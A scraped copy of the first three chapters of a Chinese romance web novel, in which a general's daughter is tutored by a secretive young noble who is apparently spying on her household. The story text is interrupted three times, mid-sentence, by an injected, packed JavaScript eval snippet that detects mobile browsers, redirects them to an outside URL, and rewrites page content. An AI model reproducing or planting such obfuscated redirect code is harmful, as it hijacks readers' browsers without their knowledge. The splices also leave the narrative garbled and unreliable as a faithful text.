《向春归》 1. 凛冬 广运九年的冬,是个难得一遇的寒冬。 漠北下了一场大雪,目光所及之处皆是白皑皑的一片。活物几乎不可见了,鸟雀早已飞走,枯枝败叶呈现的颓败之势像是来年不会再长一样。 四下寂静,大雪深深覆住了一些草木的种子,来年开春待雪融化,它们便会从不知何处的角落破土而出;大雪也盖去了一些来往行人的脚印,隐去他们的来路和归途,也许明年他们中的某些人就会名盛于京城,而后人评价他们为不知来路的豪杰。 镇北将军府里,灯火通明,将军之女秦常念正张罗着火锅:“洋芋片可端上来了?” “回大小姐的话,厨房正在备着呢,一会就端上来。”一名丫鬟拱手回话道。 秦常念端来一壶酒,摆在桌子上,点点头,又吩咐道:“子夜,你去耳房把表哥之前送的鹿肉取来,今日父亲胜仗而归,又恰逢小寒,可得好好庆祝一下。” “好的,大小姐。”那名唤子夜的侍卫鞠了个躬,便下去了。 厚重的乌头门被推开,仅凭那推门时沉稳的节奏,秦常念就知道是父亲回来了,忙放下手中的活,快步跑到门口迎接:“恭迎父帅凯旋。” 秦远对这个女儿甚是疼爱,摸了摸她的头发,笑着问道:“今日是准备吃火锅吗?一进门,就闻到府里的香气。” “还是父帅的鼻子灵,今日吃菊花火锅,祛湿御寒,降火清心,可解父帅连日劳累之苦。”秦常念挽着父亲的衣袖,,一边撒娇,一边将他往屋里带去。 走到一半,秦常念却忽然停下了步伐,吸了吸鼻子,拽过秦远的手,上下打量:“父帅可受伤了?怎么一股血腥味。” 秦远摆摆手:“不是我,是隗公子。” 闻言,从秦远身后走出来一位着玄色暗衣的公子,腰间坠了块清透的玉。他面色苍白,肩膀处受了箭伤,血汩汩地往外流,将外袍的颜色染得更深,却仍是努力挺直了腰背,神色无甚异常地行礼:“隗絮见过大小姐。” “秦常念见过隗公子。我看你伤得很重,先去处理一下伤口,把衣服换了吧。”秦常念秦常念抬眼好奇地打量了他一遍。平日在将军府里,她见父亲带回的伤员多了。可隗絮那样子沉稳内敛、深不可测,行礼不卑不亢、游刃有余,举手投足之间的贵气,都不似军队里常见的粗人。想必是哪位叔伯的儿子,放在父亲身边历练,便熟练地安排子秋带他去疗伤。 一坐下,秦常念就开始兴高采烈地介绍:“冬日里吃火锅,我觉得甚是相配。父亲,尝尝这个,我特意让子秋拿出来的鹿肉呢,还有您最爱吃的洋芋片。隗公子,你也吃,别客气。” 就这样开吃吗?他们这里吃饭都不必验毒的吗?隗絮心里疑惑着,侧过头去看秦远。 秦远已经拿起筷子,夹了一大块鹿肉放进嘴里:“嗯,好吃。我们家常念长大了,会心疼人了。” 隗絮跟着夹了一筷子鹿肉,暗暗在心里记下:镇北将军府里吃饭不验毒,秦常念和秦远的关系非常亲近。 但最让他疑惑的还是秦常念,一个长于漠北的将门之后,比起忠义、狠戾和肆意妄为,她身上有着一种属于江南的大家闺秀的气质,她温柔大方、守礼循矩,常常还会撒着娇哄她父亲开心,连她身上香囊,都带着独属于南方的春雪花的气息。 她看起来不属于这里,可又实实在在地生活在这里。 隗絮有一种预感,从这个女子身上,他会揭开掩盖着很多东西的面纱。 “常念啊,隗公子从明日起,便做你的先生,负责传授课业。”秦远看着秦常念一脸慈爱地说道。 “那有劳隗公子了,常念愚笨,还请隗公子耐心指点。”秦常念对着隗絮规规矩矩又行了个礼,偏过头去,小声地问秦远,“这回是包括武艺的吧?我不说成为像爹爹一样骁勇善战、攻无不克之人,好歹也要成为能护得住自己、护得住身边之人的人。” “女孩子家家,整天就想着打打杀杀,不可!隗公子只教你抚琴、音律、诗书。”秦远用筷子敲了一下秦常念的头,语气不容置喙。 “可是……”秦常念还想反驳几句,对上秦远严肃的表情,只得让步,“是女儿任性了,女儿一定研精覃思,好好跟着隗公子学习。” 隗絮无甚言语,甚至没什么表情,只是双手执酒杯抬起,微微低下头,和秦远对饮了一杯。 晚饭过后,皎月当空,星稀月明,镇北将军府里的人大多跟着秦远去了军营。隗絮从厨房拿了壶酒,不,更确切地说是窃了壶酒,正避开守卫蹑手蹑脚地往外走。 “公子,这不太好吧。这我们初来乍到,您就坏了规矩……。”隗絮的侍从剪书跟在他边上忧心忡忡。 “闭嘴,本少主要喝壶酒,谁还能拦着不成?规矩,这是谁的规矩?我为何要守?”隗絮满不在乎地说道,打开酒坛子,深吸一口气,酒香浓郁,是上好的羊羔酒。 隗絮满意地仰起头,正准备一饮而尽以解苦闷,酒壶却突然被挑向空中,身侧多了一双手去够。隗絮有些不快,一个翻腕绕开对方的手,稳稳拿住酒壶,看了一眼地上泼洒出的琼液,皱了眉。转过身正想责问是谁这么没道德,自己想喝不去想办法,反而要与他抢这壶酒,坐享其成。一袭鹅黄色的淡雅长裙印入眼帘,倒把隗絮吓到了。 “是本小姐的规矩,隗公子为何不守?”秦常念的声音洋洋盈耳,脆生生的,却很坚决,没拿到酒壶,亦有些不爽。 隗絮眉毛一挑,觉得现在的场面颇为有趣。他转过身来,不答反问:“镇北将军府可有饮酒禁令?” 秦常念摇了摇头,没怎么犹豫:“那倒没有。” 隗絮轻点了一下头,故作不懂道:“这酒很珍贵?” “……没有。”秦常念的气势有点弱了,但仍强撑着。 “那便是秦将军嘱咐过,府里的酒,我不能动了?”隗絮往前跨了一大步,直接将秦常念逼得退到墙角,微微弯了一点腰,居高临下地看着她,偏偏又装作一副单纯的样子,眼神湿漉漉的,似乎真的在等她的回答。 “……也没有。”秦常念低下头去,避开与他的眼神交汇。 “那敢问大小姐,为何不让我饮?”隗絮直起腰,言语恭敬,面上却已经换上了十分的冷漠,南海的风若是吹到他身侧,都要被冻成冰碴子了。 真不知道爹爹次次都上哪去寻来这么严厉的老师,秦常念腹诽道。却还是装作知书达理、温柔乖顺的样子,强迫自己抬起头来,和隗絮对视。 “这府里允许饮酒,酒的存量库房很多,隗公子是将军府的客人,是教我课的先生,自然能饮。只是受贯穿之伤,若是饮酒,伤口更亦崩开,造成二次伤害,皮肉的愈合会更加缓慢,还有肿胀化脓的风险。公子肩膀处有伤,还是注意着些。” “……无碍,我的事就不劳大小姐费心了。”隗絮对这个回答有些意外,但他无意纠缠,欲转身离去。 秦常念嘴角一扬,露出一抹浅笑,往左跨了一步,挡住了隗絮的去路:“公子喝不喝酒,我自是管不着。但将军府的厨房管理严格,出入厨房需得登记,今日并没听说公子要来,难不成,是公子深夜行窃,偷溜进来的?” 隗絮停了下来,盯着秦常念的眼睛一动不动,眼里流水无波,让人看不清楚。他既没开口辩解,也没想逃之大吉,明明处在劣势,却还是不徐不疾,处之泰然。 反而让惯常示弱和被示弱的秦常念,有些拿不准。 “若是公子能邀我同饮,我必定不告发公子。”秦常念率先提出了要求,伸出一根手指指着天空。 隗絮仍是没动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711259|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道一处喝酒赏月的好地方,可以带公子去。”秦常念又抛出条件诱惑他。 “那便走吧。”隗絮看她是打定了主意要跟着,若是他不答应,大有要在这耗一晚上的势头,只得妥协。 青色铺瓦,狮子雕花的檐下,隗絮一脸难以置信地看着秦常念,将军府大小姐的性子,果真琢磨不了:“你是说,让我抱你上去?” “背我也行。”秦常念已经张开双手等着了。 “男女授受不亲,不背。”隗絮很坚定地拒绝道,往后退了几步。 “来人啊!隗公子违背……”秦常念故意掐尖了嗓子,作势要大喊。 隗絮无奈地叹了口气,没办法,这小姑娘惯会拿人弱点,加之威胁。 他倒也不是真的怕她,只是秦常念昂着头,意气扬扬、毫不示弱的样子,让他禁不住想看她接下来会做些什么,多了解她一下,也方便日后在将军府的生活。 下一秒,隗絮的手揽在秦常念的腰间,一用力,手臂青筋凸起,带着秦常念轻工上了屋檐。 秦常念随便寻了个地方坐下,把酒递给隗絮,仔细看着下面忙碌的侍从。 出府的一共18人,带去的盒子大致长五寸、宽四寸。秦常念吸了吸鼻子,从味道来判断,皆是白芍药、寒水石等阵痛止血的常见药物,府内的侍从步伐沉稳从容,说明情况并不紧急。 再看送入府的都是些损坏的衣物、折伤的刀剑,是待在府中修补好后再发还给将士们的;若是壮烈牺牲,父亲会将这些东西连同尸骨一同送回将士的家中,告家人以慰藉。从今日入府的数量来看,这场战事很顺利,伤亡不甚严重。 秦常念如释重负地长呼一口气,双手撑在身后发呆。 隗絮喝了两口酒,好奇地瞟了眼秦常念,这大小姐倒是奇怪,使出浑身解数上了房顶又盯着下面发呆,难道是畏高? 还没等隗絮搭话,秦常念顺手拿起酒壶,悬空便往嘴里倒去:“不出一个时辰,父亲就该回来了。” 隗絮此时是惊得说不出来话,一方面,是为秦常念的心思缜密;另一方面,则是为秦常念的不拘小节,她就这样与他饮同一壶酒? “隗公子看着我作甚,不是吧,舍不得这点酒?”秦常念一脸不可思议地看着隗絮,语调都拐了个弯,为自己的未来发愁。 这人是脾气又臭,又小气,这后面的日子怕是会难捱许多了,想到这,秦常念又猛喝了一大口,叹了口气,哎,我的命怎么就这么苦啊! 凛冽的寒风吹来,加上饮了些酒,秦常念被冻得抖了一下,下意识想再喝点驱寒。 “别喝了,起风了。”隗絮把外披脱下来,放在秦常念的肩上。 秦常念有些愣神,盯着隗絮,隗絮不好意思似的摸了摸鼻尖,不自然地补上一句:“夜深露重,大小姐还是早些回去休息吧。” 羊羔酒的后劲大,秦常念晕晕乎乎,半天还是没动。 “子秋,你家小姐醉了,带她回去休息吧。”隗絮扶额,无奈地对着周围的旷地喊了一声。 “是。”子秋一个闪身,出现在房檐,架起秦常念的胳膊把她扶走。 隗絮早就知道秦常念的侍卫是不得离开她身侧的,刚才没叫她的侍卫把她扛上来,也不过是想哄着她玩玩。 秦常念在地上摇摇晃晃地走了几步,似是忽然想起了什么,扭过头,对着房檐使劲挥手,还大喊了一句:“明日课上见!” 房檐上无灯,只看见一个单薄的黑影坐在那里。墨色的里衣在月光下也暗得几乎让人看不见,衣摆被北风随意地掀起来,秦常念觉得,他似乎会被黑夜吞噬。 “明日见。”回答的语气深沉有力,那黑影终是动了一下,也冲她抬了抬手。 或者说,他也许会把黑暗吞噬。 2. 严师 辰时,隗絮一袭白衣,头发半束起来,在书房门口踱步:“秦常念怎么还没到?剪书,去给我倒杯茶来。” “好的公子。”剪书忙去沏茶。 西厢房内,一只白玉金边雕荷花的茶杯被恭恭敬敬地放到秦常念的手上:“小姐,漱漱口,该起身了。” 秦常念眼睛都没睁开,接过杯子漱了口,又直挺挺地倒下去,喃喃道:“我再睡一会。” “小姐,可不能再睡了,听人说隗公子已经在书房等着急了。”丫鬟着急地摇了摇秦常念的肩膀。 秦常念想起昨天那个寒气逼人的身影,猛然惊醒。完了,这隗絮一看就古板又严肃,这第一天就惹到他,可没好果子吃。 秦常念急匆匆地更了衣,早饭都来不及吃,就往书房跑。 等秦常念气喘吁吁地跑到书房门口行礼,隗絮的视线甚至都没从手上的书里移开:“秦大小姐好大的架子,这上学的第一日便迟了半个时辰。” “我今日起晚了些,明日定不会如此了,还望隗先生不要介怀。”这人果然计较,秦常念心里不服气,你整日也是待在府中,又无事可干,这半个时辰、一个时辰的,对你来讲有什么重要的。 “我不在意,就是今日的午膳时间要推迟一个时辰了。”隗絮终于放下手中的书,看着秦常念,说话的语气不容置疑。 秦常念眼睛都瞪大了,看着隗絮:“不是……我……” “往后都如此,大小姐迟到不要紧。每迟到一次,便往后延两倍的时间。读书,不可懈怠。”说完隗絮就把手里的书扔到秦常念怀里,“我们从第一篇开始。” “维鹊有巢,维鸠居之……”秦常念读着读着,就觉得上下眼皮快要合上。 隗絮讲着讲着,发现秦常念早已去见周公了,书挡在眼前,头一点一点的,像小鸡啄米。 隗絮用书敲了一下秦常念的头,秦常念吃痛地捂住脑袋,看着隗絮,正要说话,肚子不争气地发出“咕咕”的声响。秦常念有些不好意思地摸了摸肚子,吞吞吐吐地解释道:“那个……早上起的太晚了,没来得及用早膳。” 隗絮顾着小姑娘的面子,点点头,若无其事地继续讲课。 这课讲到一半,又看见书房外有个人端着一盘糕点,在门外鬼鬼祟祟地张望。视线移到屋里,秦常念用书挡着头,猫着腰和门外的人在打手势。 隗絮一看,便心下了然:“有一册书落在我的房间了,我现在去取,你先这把这一篇看了。” 天降喜事啊,秦常念窃喜,但窃得很明显,那压不住的疯狂上扬的嘴角、弯弯的眼睛,无不在明示着她的图谋。 装得也太不像了,隗絮暗自摇了摇头,大步一跨,出了门,又回头看了一眼蠢蠢欲动的秦常念,补上一句:“那书我记不太清放在何处了,需得半炷香的时间方可归来。” 看着秦常念又兴奋了几分的侧脸,隗絮竟生出几分欣然,罢了,不用早膳对胃不好,秦常念也到底是个性子急的,怕她吃得太着急噎到,连时间都告知了她,让她不必着急。 这是只小猫啊,一只会对你张牙舞爪,却仍是让你替她挂念忧心的小花猫。 隗絮的脚步声一消失,秦常念就招手让子秋进来,从青玉盘里一手拿了一个糕点,吃得可欢了:“幸好他临时忘了书,不然我今天上午真的要饿死在这里了。” 子秋的侦查能力是顶级的,他欲言又止地看了秦常念一眼,又转过头去,和躲在门口偷看的隗絮对上了眼神,隗絮那春风和煦的表情骤然消失,又变成他那不苟言笑的样子,瞪了一眼子秋,示意他不要声张。 我又没打算说,干嘛瞪我。 子秋心里委屈,但子秋没人说。 看秦常念吃得差不多,已经在喝茶了,隗絮招了招手。 “公子。”剪书立刻走上前来。 “你去我房间随便找本书来。”做戏要做全套,隗絮不想让秦常念觉得他在照顾她。 吃饱喝足后,秦常念果然精神了几分,有好一段时间都跟着隗絮认认真真地读书。 可当隗絮在介绍作者的生平时,秦常念的思绪又飘走了:“隗公子,那你的名字有什么说法吗?” 隗絮有时候真的很想掰开她的小脑袋看一看,里面到底装了些什么,以至于自己都跟不上她思维的节奏。隗絮用指节敲了敲桌面:“这与课无关。” “胜彼三千草木,唯此时时常念。这是我名字的寓意。父亲说,自打听闻我母亲怀孕之后,他无论何时何地都想着母亲,想着我,所以给我取了这个名字。”秦常念用手托着腮,回忆着。 “是个好名字。”隗絮本不想扯太多与书本无关的东西,秦常念说话时的神态音调,却不自觉带着他的思路跑。 “隗公子的名字,可是柳絮的絮?” “嗯。因为我出生在柳絮纷飞的时节。”隗絮言简意赅地解释道。 “柳絮纷飞,我从未见过,想必一定很美。”秦常念有些向往。 生于漠北的人,也会艳羡江南吗? “没有漠北的这大雪好。”隗絮望着窗外纷飞的雪,出了神。 “好不好看也要亲自看一次才知道,要是有朝一日,我也能去江南纵马赏花就好了。”秦常念顺着隗絮的目光看出去,窗外这漠北的雪,她已是看了十九年,再好看,也腻了。 “江南女子可不被允许纵马豪饮。”隗絮将目光移回秦常念脸上,看到秦常念的嘴角沾了些糕点碎屑,竟鬼使神差地扬起袖子,想帮她擦去。 “隗……公子。”秦常念下意识往后躲了一下,磕磕绊绊地回应。 隗絮停下了动作,把手收回。没想那么多,就是看见秦常念嘴角沾了东西,就忍不住想上去照顾她。 隗絮清了清嗓子,递上自己的帕子:“你嘴角有东西。” 秦常念接过帕子:“多谢隗公子。” “这儿。”隗絮指了指右侧的嘴角。 秦常念擦过后,将帕子认真地叠了起来:“那我洗干净以后,再还给隗公子。” 隗絮并没拒绝,点点头,又用低沉的嗓音加上一句:“不急。” 回到房间里,秦常念又将那块帕子展开来,若有若无的松木混杂着檀香的气息扑面而来,帕子的一角还绣上了几片柳絮。看着这块帕子,秦常念的脑子里就会出现隗絮的身影。他身上带着一种不屈和成熟,从细节处,却也会看出少年的意气风发,让秦常念对他多生出了几分好奇。 东厢房内,隗絮用指节轻叩着一盏瓷杯,神色严肃,半晌没说话。 “公子,可想到办法出府了?”剪书在旁边干着急,“贤王还在等着您的消息,您可不能让少主之位被别人夺去了啊。” 听到这里,隗絮猛然起身,将压在书本地下的一封信藏到袖筒内,深吸一口气,似是下了很大的决心:“只能如此了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711260|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊?”剪书不解。 “我去找一趟秦常念,你不必跟来了。”说罢,隗絮解开披风的系带,将里衣翻乱了些,快步离开了。 隗絮正抬起手准备叩门,犹豫了几次,手又垂了下来。在门口来来回回半天,隗絮终于再次深吸一口气,自言自语道:“君子成事不拘方式,必要之时可使美男计”,叩了门。 秦常念推开门,有些意外地看着他:“隗公子?有什么事……” 话还没说完,隗絮就如一根芦苇一般,风一吹就倒,轻飘飘地靠在门板上:“本来不想劳烦大小姐的,实在是肩膀太疼了,忍不了。” 这人上午还好好的呢,怎么到这会就成了这副样子? 秦常念眼睛都瞪大了,在原地思考。 隗絮见此,立马加码,捂住胸口,重重地咳嗽了几声:“咳咳……” “那我请大夫来给你看!”秦常念此时也顾不得那么多了,立马就要喊人。 隗絮忙制止:“不必,咳咳,那个,我有金创药,你帮我换一下药便好,我自己实在是够不到。” “好的好的,那公子先进来吧。”秦常念赶忙上去扶他,隗絮顺势从门板上,倒到秦常念的身上。 靠她越近,就能闻到越浓郁的春雪花的气息。隗絮有一瞬间晃神,看着秦常念费力但很努力地搬着他,隗絮心下一软,在不经意间调整了身体的重心,好让秦常念不要太累。 “在这坐吧。”秦常念将他扶到床边。 隗絮借着身高的优势,在坐下的前一秒,从秦常念的腰侧拿走了一块令牌。 “衣服脱了。”秦常念冷静地说道。 “啊?”隗絮一听反而捂紧了自己的衣服。 “不脱怎么上药?”秦常念觉得隗絮很奇怪。 “没关系的,你若是对自己的身材不够自信,就只把肩膀露出来。”秦常念自诩为见多识广,她常跟父亲去军营里,有时候人手不够,帮将士们换换药、治治伤是常有的事。所以也总听将士们说些故事,说京城一些身材不好的、瘦弱的男子,治伤时都是裹得严严实实的。 但是百闻不如一见,她对此表示,不理解,但尊重。 隗絮听了这话,被气得头皮发麻:“你听谁说的我身材不好?” “这不是你自己说的吗?”秦常念一脸天真。 “我什么时候说了?”隗絮觉得秦常念的理解能力一定是出了什么问题,竟听出了些莫须有的东西。 “罢了罢了,这些都不重要。你乖乖的,别动,我要给你上药了。” 隗絮在这句“你乖乖的”面前,缴械投降了,像是被定住一般,一动不动的,任由秦常念动作。 衣服到底是只扒开了一侧肩膀的,秦常念小心翼翼地解开纱布,清理伤口。 隗絮正侧头看她,秦常念一双杏仁眼亮晶晶的,认认真真地在处理伤口,乌黑的头发散在腰间,偶有几根碎发飘到眼前,隗絮几乎都要控制不住,想帮她理好那几根秀发。 秦常念将药粉撒在上面:“疼不疼?” 隗絮回过神来,声音略带沙哑:“不疼。” “骗人。”秦常念笑着将纱布重新缠好,“金创药是会刺激皮肉,以让伤口痊愈得更快,不要为了哄我说不疼。” “我不骗人。”隗絮直视秦常念的眼睛,认认真真地说道。 真的,一点都不疼,这是他上过最温柔的药。 3. 出府 上了很多节课,从赋诗学到琴艺,秦常念却还是喜欢叫隗絮隗公子。他身姿挺拔、剑眉星眸,叫先生反而显得老气。 “隗公子,可以教我练武吗?” “隗公子,今日不想读《诗经》。” “隗公子,明日可以晚些上课吗,我起不来。” “隗公子,这书上说的松黄饼是什么样的,好吃吗?我从未见过。” 日子就这样在秦常念的絮絮叨叨和抱怨中度过,隗絮面上总是嫌弃她,但却会设法满足秦常念的那些小性子,细细揣摩姑娘家的复杂心思。 不过,秦常念的心思不复杂,她所想的事大体上只有两件,想吃,和想练武。 秦常念是个惯会赖床的人,十次课里有八次要迟到,弄得隗絮这个爱操心的总是担心她不吃东西,饿着肚子来上课,伤了身体。慢慢地,隗絮便习惯在上课前备好早餐,等她一起来吃,一起吃饭的时候多了,隗絮慢慢也摸索出了秦常念的口味。 她喜甜不喜辣;爱吃的叫花鸡要多放葱花;热衷于吃冰,冬日里总是做些裹着被子,烤着暖炉,吃刨冰的奇怪行为。 隗絮一点点地记下来,关于秦常念的轮廓越来越清晰。 “公子,这需要写这么详细吗?和我们的任务有什么关系?”剪书拿着那张不像是情报,而像是秦常念喂养指南的纸,撇了撇嘴。 “这是将军府重要的内幕消息,你懂什么?”隗絮斜眼看了剪书一眼,一副很嫌弃的样子。 脑袋里却浮现出和秦常念一起用膳的画面。 他在秦常念的耳边絮絮叨叨:“少吃冰”“甜食吃多了会蛀牙”,企图潜移默化地影响她。 秦常念听得烦了,舀起一勺甜汤就往隗絮嘴里送。 从不吃甜口的他,竟乖乖地喝了汤。在秦常念递过来下一块桂花糕的时候,毫不犹豫地咬住。 隗絮几乎快要相信自己就是单纯来做将军府大小姐的老师的,但每个月一次,他偷出秦常念身上的令牌,私自出府,又在夜深人静的时候,将令牌放回秦常念衣服里的时候,他都能清楚地感受到梦幻泡影是怎么破碎的。 月光下,秦常念侧躺在枕头上已经睡着。隗絮从窗户翻进来,轻手轻脚地将令牌放回。秦常念忽然翻了个身,吓得隗絮立刻侧身,躲在床帐的后面。 “母亲,母亲……”秦常念皱着眉头,喃喃呓语。 隗絮本准备直接溜走,都走到窗户面前了,忽然停顿了一下,转过身看了一眼秦常念,叹了口气,又折返回去。徒留窗外接应他的剪书干着急,只能比着手势,大概是问他为什么还不走。 隗絮走回床前,盯着秦常念在月色下显得有些苍白的脸,抬起手,放在自己的脖子上暖了暖,然后一手轻拍着秦常念的背,一声放在她眉间画着圈地揉,让那缠在一起的柳叶眉舒展开来。秦常念又翻了个身,正好枕在隗絮的大腿上,抓着隗絮衣袖的一角,像只没安全感的小兽。 天寒地冻,秦常念的手很快就冰凉,隗絮反握住她的手,摩挲着,将温度渡给她。看着秦常念又渐渐平静下来的脸庞,隗絮缓缓地解开了她拽着他衣袖的手,放回被子里,又小心翼翼地替她掖好被子,转身离开了。 “公子,你疯了吗?她如果突然醒了怎么办,你怎么解释?” 隗絮有条不紊地脱下外袄,在书架前整理明日上课要带去的书:这一本有些枯燥了,她怕是不会喜欢;这本太厚了,端着手会累的。在书架前看来看去,最后选了本《江南美食志》。 嗯,这一本可以给她无聊的时候打发打发时间。 “公子,你有没有在听我说话?”剪书跟在隗絮后面,急得直跺脚。 “发现了,便告诉她。” “告诉她什么?” “真相。”隗絮很淡然地看着剪书,不顾他一脸要了命的表情,把书扔到他手上。 “明日记得把书带去书房,我要休息了。” 隗絮不再听剪书没完没了的担忧,将他轰到了门外。 他和秦常念之间,注定是有利用与欺骗的。 一层纱,横在两人的中间。 透明的薄纱,却足以让一切变得模糊。 “马上便要过年了,不如今日别上课了,我们一块去逛逛市集吧。”秦常念拉住隗絮的衣袖,迫使他停下步伐。 “不可,上午要读《中庸》。”隗絮是个很有原则的人。 秦常念的情绪肉眼可见地低落了下来,自言自语道:可是一年才一次的,我期待很久了。 “上午不行,但若是你读得快,中午我们可以去吉风小馆用饭,然后去市集采买点东西,也能为秦将军分忧。”隗絮将伞向前推了一点,挡住秦常念,全然不顾落在自己身上的雪点。 “好!隗公子,我今日必定在两个时辰内读完,是不是早读完,我们就可以早出发?”秦常念拍着胸脯保证道。 隗絮点点头表示同意,秦常念便头也不回地往书房跑去:“隗公子慢慢走,我先行一步!”5 隗絮望着她一蹦一跳的背影,不自觉地笑了。 读完《中庸》的最后一句,秦常念迫不及待地合上书,巴巴地望着隗絮。 “既读完了,便走吧。”隗絮站起身来。 “可以骑马去吗?”秦常念已经想了好久把府里的马拉出去遛遛。 “不行,秦将军特意交代过,你出行只能坐马车。” “哎呀,偷偷骑一回,父亲今日正好不在,我让子秋也不必去。你不说,我不说,没人会知道的,怎么样,隗公子,算我欠你个人情。”秦常念试图打个商量。 “不必,大小姐不用欠我什么。”隗絮垂眸看她,神色平静,无甚波澜。 “求你了,隗公子,就当是提前满足我一个新年愿望。求你了。”秦常念仍然锲而不舍,紧紧跟着隗絮。 隗絮一路直行,来到将军府门口,撩开马车帘子,做了个请的手势:“大小姐,准备出发吧。” 秦常念气不打一处来,自己长到这么大,都没这样求过人呢,这人真就这么古板,不识变通! 秦常念故意推开隗絮扶她的手,气呼呼地上了马车。 隗絮眉毛一挑,忽地笑了,也跟着上了马车。 一路上,秦常念都侧过身子坐,坚决不分一个眼神给隗絮。我告诉你,你惹到本小姐了,后果很严重。 隗絮有点无奈地瞄了一眼秦常念,大小姐脾气确实是大,要求起别人是得寸进尺的。但又想到秦常念一个将军府大小姐,求了自己还碰了壁,怕是会觉得没面子,毕竟是小女孩嘛。 于是隗絮主动向秦常念那边挪了一点,秦常念察觉到,立刻又往旁边去了点。隗絮每挪一分,秦常念便要挪三分。几番来回,秦常念的一半身子都已经离开了座位。 马车忽然拐弯,秦常念一时反应不及,差点失了平衡,惊呼一声。 隗絮长臂一捞,把秦常念稳稳地搂住,手放在秦常念的额侧,生怕她磕到头。看着秦常念愣住后,逐渐变红的脸颊,隗絮低声地笑了一下,又将一个手炉塞到秦常念手里:“大小姐,现在可以别生气了吗?” “……不可以。”秦常念的眼神有些飘忽,嘴上却仍是不认输。 “我知道市集上有一家卖许愿绳的,听说在那里许愿,是心想事成、百试百灵,大小姐可有兴趣,嗯?”隗絮稍微低了点头,声音低哑,带点哄人的语气。虽然能感觉到哄得很不熟练,但若是被剪书听到,也足够把他吓死。 谁能想到,他家杀伐决断、清冷孤高的公子,竟也会弯着腰,耐心等别人的回答。 “在哪里?”秦常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711261|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念果然被吸引,终于肯转过头来看他。 “姑娘许完愿后,将此绳戴在手上,绳不离手,愿望成真。”摊主将一根红色的细绳绑在秦常念的手上。 秦常念转动了一下手腕,不错,还挺好看的,转头问隗絮:“你也买一条吗?” “我不信这个。”隗絮从来都是信自己强过信神佛,他坚信,命运,是掌握在自己手上的。 “那可不一定,若是下回菩萨实现了你的愿望,你可就不会这么想了。”秦常念没强求,撇了撇嘴,跟着隗絮走了。 “大小姐许了什么愿?” “我啊,我许的是希望能和父亲,和你一起过个热闹的年。我已经很多年都没有过了。” 竟是这么简单的愿望吗?和父亲,和我,一起过年。 秦常念似是察觉到隗絮探究的目光,踢了一下路边的雪,缓缓地解释道:“母亲过世后,父亲就很讨厌红色和一切和红色有关的东西了。” 隗絮垂眸细细地看了秦常念一眼,神色多了几分复杂:“那希望大小姐今年能实现愿望。” “嗯。”秦常念的嘴角勾起了一丝弧度,仍是低着头,半晌,又补上一句,“一定会的。” 吉风小馆内人来人往,热闹非凡,颇有春节将至的氛围。 “这个鱼味道不错。”隗絮示意秦常念尝一尝刚端上来的清蒸鱼。 秦常念象征性地吃了一小口,敷衍了句:“嗯好吃。”筷子仍是往那些羊肉、牛肚夹去。 隗絮知道是因为秦常念不想剔鱼刺,她向来不喜欢吃鱼虾这些麻烦的食物,而钟爱那些可以一股脑放进嘴里,大快朵颐的菜品。 隗絮向店小二又要了双筷子,将鱼刺剔去,夹到秦常念的碗里。 “谢谢。”秦常念毫无灵魂地道了句谢,却没吃那块鱼肉,只是在碗里用筷子戳来戳去,一副心不在焉的样子。 隗絮顺着她的视线看过去,隔壁坐了四个人在饮酒聊天。 这又有什么好看的?隗絮不解,看着那块快要变成鱼泥的肉,不禁替它估算了一下,还要多久才能解脱,被装进肚子。 “快吃吧。”隗絮还是忍不住提醒了一句,但一阵喧哗盖过了他的声音。 “我说她有什么用,一个将军府的大小姐,听说连刀都不会用。” “就是啊,秦将军那么厉害,虎父原来也会出犬女,哈哈哈哈哈。” “听说她妈妈啊,也是个贵族小姐,一点武功都不会,最后啊,被人抹了脖子,真没用。” 秦常念的手将筷子握得越来越紧,指甲发白,听到最后一句,终是忍不住,上前去将一杯水泼在那几个男人脸上:“一群废物,除了会嚼舌根,你们还会干什么?” 那几个男子虽有些惊讶,但看她一个弱女子,也完全不怕。一个男子站起来就要挥拳头。 隗絮立刻起身,一脚踹在那个男人的腹部,那男人闷哼一声,瞬间倒地,一脸不可思议地看着隗絮。 隗絮居高临下地看着他,眼神寒光乍现,踩在那男人的胸膛上:“管好你自己的嘴!” 那四个男子见他不好惹,连滚带爬地跑了。 “隗公子,教我学武吧。”秦常念声音颤抖。 “……”隗絮对上秦常念通红的眼眸,顿时觉得有数百根扎在心上。可他没法回应,更没办法承诺。 “我想自己出去透口气。”秦常念拼命忍着不让眼泪掉下来,快步出了门。 隗絮没去追,望着她远去的背影:“剪书,去取纸笔来。”而后快速在纸上写下了几行字,让剪书送去糕点铺。 没几分钟,剪书便跑着回来了,指着门外,上气不接下气:“大……大小姐……” 